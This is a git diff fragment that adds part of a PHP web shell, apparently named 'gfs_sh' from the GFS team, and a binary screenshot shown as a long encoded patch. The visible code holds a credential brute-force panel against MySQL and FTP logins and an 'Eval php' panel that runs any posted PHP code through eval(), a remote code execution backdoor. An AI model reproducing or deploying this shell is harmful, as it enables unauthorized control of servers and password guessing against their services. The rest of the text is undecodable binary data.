name=\"b_proxy\"></td></tr>"; + echo "</tr></table></form>"; +} +##################### Brute #################################################### +if($r_act=="brute"){ + if(isset($_POST['brute_host'])){ + $host=$_POST['brute_host']; + }else + $host="localhost"; + if(isset($_POST['lib'])){ + $lib=$_POST['lib']; + }else + $lib=" [library]"; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Brute: </b></td></tr><font size=-2>"; + echo "<tr bgcolor=#00ff00><td alling=\"center\"><b>Example lib: </b>login:pass</td></tr>"; + echo ("<tr><td alling=\"center\"><b>Bryte type: </b><SELECT name=\"box1\">"); + echo("<option value=\"login:login\">login:login</option> + <option value=\"login:nigol\">login:nigol</option> + <option value=\"login:empty\">login:empty</option> + <option value=\"login:number\">login:number</option>"); + if(function_exists(fopen)){ + echo "<option value=\"login:lib\">login:lib</option>"; + echo "<option value=\"lib:lib\">lib:lib</option>"; + } + echo ("</select></td></tr>"); + echo ("<tr><td alling=\"center\"><b>Use: </b><SELECT name=\"box\">"); + echo("<OPTION value=\"mysql\">mysql</option> + <option value=\"ftp\">ftp</option>"); +// if(function_exists(ssh2_connect)){ +// echo "<option value=\"ssh\">ssh</option>"; +// } + echo ("</select></td>"); + echo("<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Brute\" name=\"b_brute\"></td></tr><tr><td alling=\"center\"><b>Host: </b><input type=\"text\" name=\"brute_host\" value=\"".$host."\">(for lib:lib)</td></tr>"); + if(function_exists(fopen)){ + echo "<td alling=\"center\"><b>From lib (if set): <input type=\"text\" name=\"lib\" value=\"".$lib."\">"; + } + echo ("</table></form>"); + if($_POST['b_brute']){ + brute($_POST['box'],$_POST['box1'],$_POST['brute_host'],$_POST['lib']); + } +} +#################### Eval ###################################################### +if($r_act=="eval"){ + if($_POST['b_eval']){ + $eval=str_replace("<?","",$_POST['php_eval']); + $eval=str_replace("?>","",$eval); + eval($eval); + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b><font face=Verdana size=2>Eval php: </b></td></tr><font size=-2>"; + echo "<tr><td alling=\"center\"><textarea name=\"php_eval\" cols=90 rows=15></textarea></td></tr><tr><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Eval\" name=\"b_eval\"></td></tr>"; + echo "</tr></table></form>"; +} + +echo "<hr size=3 color=black>"; +echo "<font face=Verdana size=2 color=blue><b>"; +echo (rep_char("&nbsp",15)); +echo "(c) GFS</font>"; +echo (rep_char("&nbsp",15)); +echo "<a href=\"http://www.gfs-team.ru\">www.gfs-team.ru</a>"; +echo "<hr size=3 color=black>"; +?> diff --git a/php/PHPshell/gfs_sh/gfs_sh2.jpg b/php/PHPshell/gfs_sh/gfs_sh2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..846d58bea3ce155cc2e2332772971c69a7a4391d GIT binary patch literal 152730 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 